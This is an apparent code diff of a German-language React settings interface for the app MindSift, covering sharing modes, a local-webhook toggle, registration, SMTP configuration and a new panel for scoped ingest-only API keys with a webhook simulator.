<div className="flex items-center gap-3 flex-shrink-0">
|
||||
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
|
||||
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
|
||||
</span>
|
||||
{/* Sharing Isolation Cards */}
|
||||
<div className="space-y-2">
|
||||
<label className="block text-muted font-semibold flex items-center gap-1.5">
|
||||
<Users className="w-4 h-4 text-accent" />
|
||||
<span>Globale Sharing- & Sichtbarkeits-Isolation</span>
|
||||
</label>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
{SHARING_MODES.map((m) => (
|
||||
<button
|
||||
key={m.id}
|
||||
type="button"
|
||||
onClick={() => handleSelectSharingMode(m.id)}
|
||||
className={`p-4 text-left border rounded-card transition-colors ${
|
||||
settings.sharingMode === m.id
|
||||
? 'bg-canvas border-accent text-main shadow-panel'
|
||||
: 'bg-canvas/50 border-border text-muted hover:text-main'
|
||||
}`}
|
||||
>
|
||||
<p className="font-bold text-xs text-main">{m.title}</p>
|
||||
<p className="text-[11px] text-muted mt-1 leading-relaxed">{m.text}</p>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{pendingMode && (
|
||||
<div className="p-3 border border-status-warn/40 bg-status-warn/5 rounded-card flex flex-wrap items-center gap-2">
|
||||
<AlertCircle className="w-4 h-4 text-status-warn shrink-0" />
|
||||
<span className="flex-1 min-w-0 text-main">
|
||||
Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“
|
||||
fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind.
|
||||
</span>
|
||||
<button
|
||||
onClick={() => {
|
||||
const mode = pendingMode.mode;
|
||||
setPendingMode(null);
|
||||
handleSaveSystemSettings({ sharingMode: mode });
|
||||
}}
|
||||
className="btn-primary h-7 px-3 text-[11px]"
|
||||
>
|
||||
Trotzdem wechseln
|
||||
</button>
|
||||
<button onClick={() => setPendingMode(null)} className="btn-action h-7 px-2 text-[11px]">
|
||||
Abbrechen
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
|
||||
|
||||
{/* Alarm webhooks into the local network (SSRF protection) */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
|
||||
<div className="pr-4">
|
||||
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
|
||||
<p className="text-[11px] text-muted mt-0.5">
|
||||
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
|
||||
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
|
||||
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={settings.allowRegistration}
|
||||
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
|
||||
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
|
||||
checked={Boolean(settings.allowPrivateWebhooks)}
|
||||
onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Public Registration Toggle Switch */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
|
||||
<div className="pr-4">
|
||||
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
|
||||
<p className="text-[11px] text-muted mt-0.5">
|
||||
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
|
||||
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-3 flex-shrink-0">
|
||||
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
|
||||
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
|
||||
</span>
|
||||
<ToggleSwitch
|
||||
checked={settings.allowRegistration}
|
||||
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
|
||||
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</fieldset>
|
||||
)}
|
||||
|
||||
{/* ================================================================= */}
|
||||
{/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
|
||||
{/* ================================================================= */}
|
||||
{section === 'smtp' && isServerAdmin && (
|
||||
<div className="space-y-6">
|
||||
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-main">
|
||||
E-Mail / SMTP-Server für Aufgaben-Alarme
|
||||
</h2>
|
||||
<p className="text-muted mt-0.5">
|
||||
Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder
|
||||
direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert).
|
||||
</p>
|
||||
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
|
||||
<div className="space-y-6">
|
||||
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-main">
|
||||
E-Mail / SMTP-Server für Aufgaben-Alarme
|
||||
</h2>
|
||||
<p className="text-muted mt-0.5">
|
||||
Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder
|
||||
direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert).
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{settings.smtpConfiguredViaEnv && (
|
||||
<span className="badge-ok text-[11px] flex-shrink-0">
|
||||
Docker Env erkannt
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{settings.smtpConfiguredViaEnv && (
|
||||
<span className="badge-ok text-[11px] flex-shrink-0">
|
||||
Docker Env erkannt
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Host (`SMTP_HOST`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpHost || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpHost: e.target.value }))
|
||||
}
|
||||
placeholder="z.B. smtp.example.com oder mail.deinedomain.de"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Port (`SMTP_PORT`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
inputMode="numeric"
|
||||
value={settings.smtpPort ?? ''}
|
||||
onChange={(e) =>
|
||||
// Digits only; an empty field stays empty while typing (saved as 587)
|
||||
setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) }))
|
||||
}
|
||||
placeholder="587"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Benutzername (`SMTP_USER`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpUser || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpUser: e.target.value }))
|
||||
}
|
||||
placeholder="alerts@deinedomain.de"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Passwort (`SMTP_PASS`)
|
||||
</label>
|
||||
<input
|
||||
type="password"
|
||||
value={settings.smtpPass || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
|
||||
}
|
||||
placeholder="••••••••••••"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
Absender-Adresse (`SMTP_FROM`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpFrom || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
|
||||
}
|
||||
placeholder="MindSift <alerts@deinedomain.de>"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="sm:col-span-2 space-y-3 pt-1">
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<p className="text-main font-medium">Verschlüsselung (`SMTP_TLS`)</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={settings.smtpTls ?? true}
|
||||
onChange={(smtpTls) => setSettings((prev) => ({ ...prev, smtpTls }))}
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Host (`SMTP_HOST`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpHost || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpHost: e.target.value }))
|
||||
}
|
||||
placeholder="z.B. smtp.example.com oder mail.deinedomain.de"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<p className="text-main font-medium">Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung
|
||||
bleibt verschlüsselt, der Server wird aber nicht mehr geprüft.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={settings.smtpSkipVerify ?? false}
|
||||
disabled={!(settings.smtpTls ?? true)}
|
||||
onChange={(smtpSkipVerify) => setSettings((prev) => ({ ...prev, smtpSkipVerify }))}
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Port (`SMTP_PORT`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
inputMode="numeric"
|
||||
value={settings.smtpPort ?? ''}
|
||||
onChange={(e) =>
|
||||
// Digits only; an empty field stays empty while typing (saved as 587)
|
||||
setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) }))
|
||||
}
|
||||
placeholder="587"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Benutzername (`SMTP_USER`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpUser || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpUser: e.target.value }))
|
||||
}
|
||||
placeholder="alerts@deinedomain.de"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
SMTP Passwort (`SMTP_PASS`)
|
||||
</label>
|
||||
<input
|
||||
type="password"
|
||||
value={settings.smtpPass || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
|
||||
}
|
||||
placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
|
||||
autoComplete="new-password"
|
||||
className="w-full h-9 px-3 input-field font-mono"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-muted font-medium mb-1">
|
||||
Absender-Adresse (`SMTP_FROM`)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={settings.smtpFrom || ''}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
|
||||
}
|
||||
placeholder="MindSift <alerts@deinedomain.de>"
|
||||
className="w-full h-9 px-3 input-field"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="sm:col-span-2 space-y-3 pt-1">
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<p className="text-main font-medium">Verschlüsselung (`SMTP_TLS`)</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={settings.smtpTls ?? true}
|
||||
onChange={(smtpTls) => setSettings((prev) => ({ ...prev, smtpTls }))}
|
||||
/>
|
||||
</div>
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<p className="text-main font-medium">Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)</p>
|
||||
<p className="text-[11px] text-muted">
|
||||
Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung
|
||||
bleibt verschlüsselt, der Server wird aber nicht mehr geprüft.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={settings.smtpSkipVerify ?? false}
|
||||
disabled={!(settings.smtpTls ?? true)}
|
||||
onChange={(smtpSkipVerify) => setSettings((prev) => ({ ...prev, smtpSkipVerify }))}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex justify-end pt-2 border-t border-border">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleSaveSystemSettings()}
|
||||
className="btn-primary h-9 px-5 text-xs font-semibold"
|
||||
>
|
||||
SMTP-Konfiguration in Datenbank speichern
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* Test SMTP Delivery */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card space-y-2">
|
||||
<h3 className="font-bold text-main">SMTP-Verbindung testen</h3>
|
||||
<p className="text-[11px] text-muted">
|
||||
Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten.
|
||||
</p>
|
||||
<div className="flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="email"
|
||||
value={testSmtpEmail}
|
||||
onChange={(e) => setTestSmtpEmail(e.target.value)}
|
||||
placeholder="empfaenger@beispiel.de"
|
||||
className="flex-1 h-8 px-3 input-field"
|
||||
/>
|
||||
<div className="flex justify-end pt-2 border-t border-border">
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleTestSmtp}
|
||||
disabled={testingSmtp || !testSmtpEmail.trim()}
|
||||
className="btn-action h-8 px-4 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
|
||||
onClick={() => handleSaveSystemSettings()}
|
||||
className="btn-primary h-9 px-5 text-xs font-semibold"
|
||||
>
|
||||
<Send className="w-3.5 h-3.5 text-accent" />
|
||||
<span>{testingSmtp ? 'Sende Test-Mail…' : 'Test-E-Mail senden'}</span>
|
||||
SMTP-Konfiguration in Datenbank speichern
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* Test SMTP Delivery */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card space-y-2">
|
||||
<h3 className="font-bold text-main">SMTP-Verbindung testen</h3>
|
||||
<p className="text-[11px] text-muted">
|
||||
Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten.
|
||||
</p>
|
||||
<div className="flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="email"
|
||||
value={testSmtpEmail}
|
||||
onChange={(e) => setTestSmtpEmail(e.target.value)}
|
||||
placeholder="empfaenger@beispiel.de"
|
||||
className="flex-1 h-8 px-3 input-field"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleTestSmtp}
|
||||
disabled={testingSmtp || !testSmtpEmail.trim()}
|
||||
className="btn-action h-8 px-4 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
|
||||
>
|
||||
<Send className="w-3.5 h-3.5 text-accent" />
|
||||
<span>{testingSmtp ? 'Sende Test-Mail…' : 'Test-E-Mail senden'}</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</fieldset>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,380 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import {
|
||||
Key,
|
||||
Plus,
|
||||
Trash2,
|
||||
Copy,
|
||||
Check,
|
||||
Webhook,
|
||||
Zap,
|
||||
Terminal,
|
||||
} from 'lucide-react';
|
||||
import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
|
||||
import { api, triggerHaptic } from '../../lib/api';
|
||||
|
||||
interface ApiKeysPanelProps {
|
||||
onIngested?: () => void;
|
||||
}
|
||||
|
||||
// What a key may deliver; keys never read anything
|
||||
const SCOPES: { id: ApiKeyScope; label: string; hint: string }[] = [
|
||||
{ id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox' },
|
||||
{ id: 'webhook:task', label: '📋 Aufgaben', hint: 'Aufgaben direkt anlegen' },
|
||||
{ id: 'webhook:list', label: '📝 Listeneinträge', hint: 'Einträge zu Listen hinzufügen' },
|
||||
];
|
||||
const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
|
||||
|
||||
type SimTarget = 'triage' | 'task' | 'list_item';
|
||||
|
||||
// Personal API keys with scopes, a simulator and copyable examples (settings → Private Webhooks)
|
||||
export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
|
||||
const [keys, setKeys] = useState<APIKey[]>([]);
|
||||
const [newKeyName, setNewKeyName] = useState('');
|
||||
const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
|
||||
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
||||
const [copiedKey, setCopiedKey] = useState(false);
|
||||
|
||||
// Live Webhook Simulator State
|
||||
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
|
||||
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
|
||||
const [simTarget, setSimTarget] = useState<SimTarget>('triage');
|
||||
const [simListId, setSimListId] = useState('');
|
||||
const [simTaskListId, setSimTaskListId] = useState('');
|
||||
const [simStatus, setSimStatus] = useState<string | null>(null);
|
||||
const [lists, setLists] = useState<SharedList[]>([]);
|
||||
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
|
||||
|
||||
const loadKeys = async () => {
|
||||
const k = await api.getAPIKeys();
|
||||
setKeys(k);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
loadKeys();
|
||||
api.getAllLists().then(setLists).catch(() => {});
|
||||
api.getTaskLists().then(setTaskLists).catch(() => {});
|
||||
}, []);
|
||||
|
||||
const toggleScope = (id: ApiKeyScope) => {
|
||||
setNewKeyScopes((prev) => {
|
||||
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
|
||||
return next.length > 0 ? next : prev; // at least one
|
||||
});
|
||||
};
|
||||
|
||||
const handleCreateKey = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
triggerHaptic(15);
|
||||
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant', newKeyScopes);
|
||||
if (created.rawKey) {
|
||||
setNewlyCreatedKey(created.rawKey);
|
||||
}
|
||||
setNewKeyName('');
|
||||
setNewKeyScopes(['webhook:triage']);
|
||||
await loadKeys();
|
||||
};
|
||||
|
||||
const handleDeleteKey = async (id: string) => {
|
||||
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
|
||||
triggerHaptic(20);
|
||||
await api.deleteAPIKey(id);
|
||||
await loadKeys();
|
||||
};
|
||||
|
||||
const handleCopy = (text: string) => {
|
||||
navigator.clipboard.writeText(text);
|
||||
setCopiedKey(true);
|
||||
setTimeout(() => setCopiedKey(false), 2000);
|
||||
};
|
||||
|
||||
const handleSimulateWebhook = async () => {
|
||||
triggerHaptic(20);
|
||||
if (simTarget === 'list_item' && !simListId) {
|
||||
setSimStatus('❌ Bitte eine Liste wählen.');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
// With a freshly created key the simulator tests exactly that key (and its scopes)
|
||||
await api.testWebhookIngest(newlyCreatedKey, {
|
||||
title: simTitle,
|
||||
priority: simPriority,
|
||||
tags: simTarget === 'list_item' ? [] : ['smarthome', 'automation'],
|
||||
target: simTarget,
|
||||
taskListId: simTarget === 'task' ? simTaskListId || undefined : undefined,
|
||||
listId: simTarget === 'list_item' ? simListId : undefined,
|
||||
});
|
||||
setSimStatus(
|
||||
simTarget === 'task'
|
||||
? '✅ Webhook erfolgreich ausgelöst! Die Aufgabe ist angelegt.'
|
||||
: simTarget === 'list_item'
|
||||
? '✅ Webhook erfolgreich ausgelöst! Der Eintrag steht in der Liste.'
|
||||
: '✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.'
|
||||
);
|
||||
onIngested?.();
|
||||
setTimeout(() => setSimStatus(null), 4000);
|
||||
} catch (err: any) {
|
||||
setSimStatus(`❌ Fehler: ${err.message}`);
|
||||
}
|
||||
};
|
||||
|
||||
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
|
||||
const baseUrl = window.location.origin;
|
||||
const examplePayload =
|
||||
simTarget === 'task'
|
||||
? `{
|
||||
"target": "task",
|
||||
"title": "Filter der Lüftungsanlage wechseln",
|
||||
"priority": "high",
|
||||
"dueDate": "2026-11-15T09:00"${simTaskListId ? `,\n "taskListId": "${simTaskListId}"` : ''}
|
||||
}`
|
||||
: simTarget === 'list_item'
|
||||
? `{
|
||||
"target": "list_item",
|
||||
"listId": "${simListId || 'ID_DER_LISTE'}",
|
||||
"content": "Hafermilch",
|
||||
"quantity": "2"
|
||||
}`
|
||||
: `{
|
||||
"title": "Kellerfeuchtigkeit über 70%",
|
||||
"priority": "urgent",
|
||||
"tags": ["smarthome", "keller"]
|
||||
}`;
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
{/* API keys */}
|
||||
<div>
|
||||
<div className="flex items-center gap-3 mb-2">
|
||||
<div className="w-8 h-8 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||
<Key className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="text-sm font-bold text-main">Webhooks & Ingestion API-Schlüssel</h3>
|
||||
<p className="text-xs text-muted">
|
||||
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs mit MindSift. Ein Key kann nur Daten
|
||||
einliefern, nie lesen; was genau, legst du pro Key fest.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form onSubmit={handleCreateKey} className="mt-3 space-y-2">
|
||||
<div className="flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="text"
|
||||
value={newKeyName}
|
||||
onChange={(e) => setNewKeyName(e.target.value)}
|
||||
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
|
||||
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||
/>
|
||||
<button type="submit" className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5">
|
||||
<Plus className="w-4 h-4" />
|
||||
<span>API-Key erzeugen</span>
|
||||
</button>
|
||||
</div>
|
||||
<div className="flex flex-wrap items-center gap-2" role="group" aria-label="Berechtigungen des Keys">
|
||||
<span className="text-xs text-muted">Darf einliefern:</span>
|
||||
{SCOPES.map((sc) => {
|
||||
const on = newKeyScopes.includes(sc.id);
|
||||
return (
|
||||
<button
|
||||
key={sc.id}
|
||||
type="button"
|
||||
role="checkbox"
|
||||
aria-checked={on}
|
||||
title={sc.hint}
|
||||
onClick={() => toggleScope(sc.id)}
|
||||
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs inline-flex items-center gap-1.5 transition-colors ${
|
||||
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||
}`}
|
||||
>
|
||||
{on && <Check className="w-3.5 h-3.5 text-accent" />}
|
||||
{sc.label}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</form>
|
||||
|
||||
{newlyCreatedKey && (
|
||||
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
|
||||
<div className="min-w-0">
|
||||
<p className="text-xs font-semibold text-accent mb-1">Neuer API-Schlüssel erstellt (bitte jetzt kopieren):</p>
|
||||
<code className="text-xs sm:text-sm font-mono text-main break-all">{newlyCreatedKey}</code>
|
||||
</div>
|
||||
<button onClick={() => handleCopy(newlyCreatedKey)} className="btn-primary h-8 px-3 text-xs">
|
||||
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
|
||||
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Active Keys List */}
|
||||
<div className="mt-3 border border-border divide-y divide-border">
|
||||
{keys.length === 0 ? (
|
||||
<p className="text-xs text-faint px-3 py-2">Noch keine dedizierten API-Schlüssel hinterlegt.</p>
|
||||
) : (
|
||||
keys.map((k) => (
|
||||
<div key={k.id} className="px-3 py-2 bg-canvas flex items-center justify-between gap-3">
|
||||
<div className="min-w-0 flex flex-wrap items-center gap-x-3 gap-y-1">
|
||||
<span className="text-sm font-medium text-main">{k.name}</span>
|
||||
<span className="text-xs font-mono text-accent">{k.keyPrefix}</span>
|
||||
{k.scopes
|
||||
.split(',')
|
||||
.filter(Boolean)
|
||||
.map((sc) => (
|
||||
<span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-[10px] text-muted">
|
||||
{scopeLabel(sc)}
|
||||
</span>
|
||||
))}
|
||||
{k.lastUsedAt && (
|
||||
<span className="text-xs text-faint">
|
||||
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<button
|
||||
onClick={() => handleDeleteKey(k.id)}
|
||||
className="btn-icon btn-icon-danger w-7 h-7 shrink-0"
|
||||
aria-label={`API-Key ${k.name} löschen`}
|
||||
>
|
||||
<Trash2 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Simulator */}
|
||||
<div className="pt-4 border-t border-border">
|
||||
<div className="flex items-center gap-3 mb-3">
|
||||
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||
<Webhook className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="text-sm font-bold text-main">Live Smarthome Webhook-Simulator</h3>
|
||||
<p className="text-xs text-muted">
|
||||
Teste den Webhook-Endpunkt direkt hier
|
||||
{newlyCreatedKey ? ' – mit dem eben erzeugten Key und seinen Berechtigungen.' : ' – mit deiner Anmeldung.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-wrap gap-1.5 mb-3" role="radiogroup" aria-label="Ziel">
|
||||
{(
|
||||
[
|
||||
['triage', '📥 Inbox'],
|
||||
['task', '📋 Aufgabe'],
|
||||
['list_item', '📝 Listeneintrag'],
|
||||
] as const
|
||||
).map(([value, label]) => (
|
||||
<button
|
||||
key={value}
|
||||
type="button"
|
||||
role="radio"
|
||||
aria-checked={simTarget === value}
|
||||
onClick={() => setSimTarget(value)}
|
||||
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
|
||||
simTarget === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||
}`}
|
||||
>
|
||||
{label}
|
||||
</button>
|
||||
))}
|
||||
{simTarget === 'list_item' && (
|
||||
<select
|
||||
value={simListId}
|
||||
onChange={(e) => setSimListId(e.target.value)}
|
||||
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
|
||||
aria-label="Liste"
|
||||
>
|
||||
<option value="">Liste wählen…</option>
|
||||
{lists.map((l) => (
|
||||
<option key={l.id} value={l.id}>
|
||||
{l.icon} {l.title}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
)}
|
||||
{simTarget === 'task' && (
|
||||
<select
|
||||
value={simTaskListId}
|
||||
onChange={(e) => setSimTaskListId(e.target.value)}
|
||||
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
|
||||
aria-label="Aufgabenliste"
|
||||
>
|
||||
<option value="">Ohne Aufgabenliste</option>
|
||||
{taskLists.map((tl) => (
|
||||
<option key={tl.id} value={tl.id}>
|
||||
{tl.icon} {tl.title}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{simTarget === 'triage' && (
|
||||
<div className="flex flex-wrap gap-1.5 mb-3">
|
||||
{[
